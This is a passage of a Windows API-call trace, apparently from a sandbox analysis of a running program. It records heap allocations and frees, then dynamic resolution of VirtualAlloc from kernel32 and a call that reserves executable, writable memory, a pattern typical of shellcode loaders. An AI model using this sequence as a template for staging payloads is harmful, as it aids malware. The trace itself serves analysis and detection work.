lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0139.491] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba778 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e58 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9d8 [0139.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e58 | out: hHeap=0xe80000) returned 1 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba8b8 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0139.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0139.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d38 [0139.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d38 | out: hHeap=0xe80000) returned 1 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7d18 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ee8 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x88) returned 0xefd330 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077e40 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077f90 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d08 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077e28 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077d98 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f00 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077d20 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077cd8 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077d38 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077f60 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077d50 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077d68 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077f78 [0139.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077db0 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077fa8 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077e10 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e58 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077cc0 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077e70 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cf0 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077e88 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077eb8 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ed0 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077f18 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077f30 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781b8 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078068 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078260 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ff0 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077fc0 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10781e8 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078098 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078200 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10780f8 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078248 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078008 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078170 [0139.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782a8 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078188 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078038 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781a0 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077fd8 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10781d0 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078020 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078050 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078080 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078218 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10780c8 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078230 [0139.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10780b0 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078278 [0139.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078290 [0139.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10780e0 [0139.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078110 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078128 [0139.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078140 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078158 [0139.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078380 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078410 [0139.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784d0 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0139.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078428 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0139.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078458 [0139.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0139.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783b0 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078470 [0139.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078548 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078320 [0139.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0139.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078488 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783c8 [0139.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078518 [0139.497] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078398 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa18 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783e0 [0139.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0139.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0139.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0139.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8b8 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078338 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf938 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf958 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078398 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078338 | out: hHeap=0xe80000) returned 1 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf958 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078338 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf938 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0139.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078530 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078338 | out: hHeap=0xe80000) returned 1 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078530 | out: hHeap=0xe80000) returned 1 [0139.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf938 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782d8 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa18 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783f8 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782d8 | out: hHeap=0xe80000) returned 1 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783f8 | out: hHeap=0xe80000) returned 1 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784e8 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0139.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078398 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784e8 | out: hHeap=0xe80000) returned 1 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0139.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.499] LoadLibraryW (lpLibFileName="kernel32") returned 0x770a0000 [0139.500] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784a0 [0139.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAlloc", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0139.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAlloc", cchWideChar=13, lpMultiByteStr=0x10783e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VirtualAlloc", lpUsedDefaultChar=0x0) returned 13 [0139.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0139.500] GetProcAddress (hModule=0x770a0000, lpProcName="VirtualAlloc") returned 0x770b7810 [0139.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0139.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4d0 | out: hHeap=0xe80000) returned 1 [0139.501] VirtualAlloc (lpAddress=0x0, dwSize=0x5c2, flAllocationType=0x3000, flProtect=0x40) returned 0x35a0000 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783f8 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078440 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078590 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078500 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0139.502] FreeLibrary (hLibModule=0x770a0000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0139.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078518 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078230 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10780c8 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078278 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10780b0 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10780e0 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078290 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078128 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078110 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078158 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078140 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078410 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078380 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784d0 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078458 | out: hHeap=0xe80000) returned 1 [0139.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078428 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078470 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783b0 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078320 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078548 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783c8 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078488 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0139.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e40 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d08 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f90 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f00 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cd8 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d38 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d50 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d68 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077db0 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f78 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fa8 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e58 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cc0 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cf0 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e70 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e88 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ed0 | out: hHeap=0xe80000) returned 1 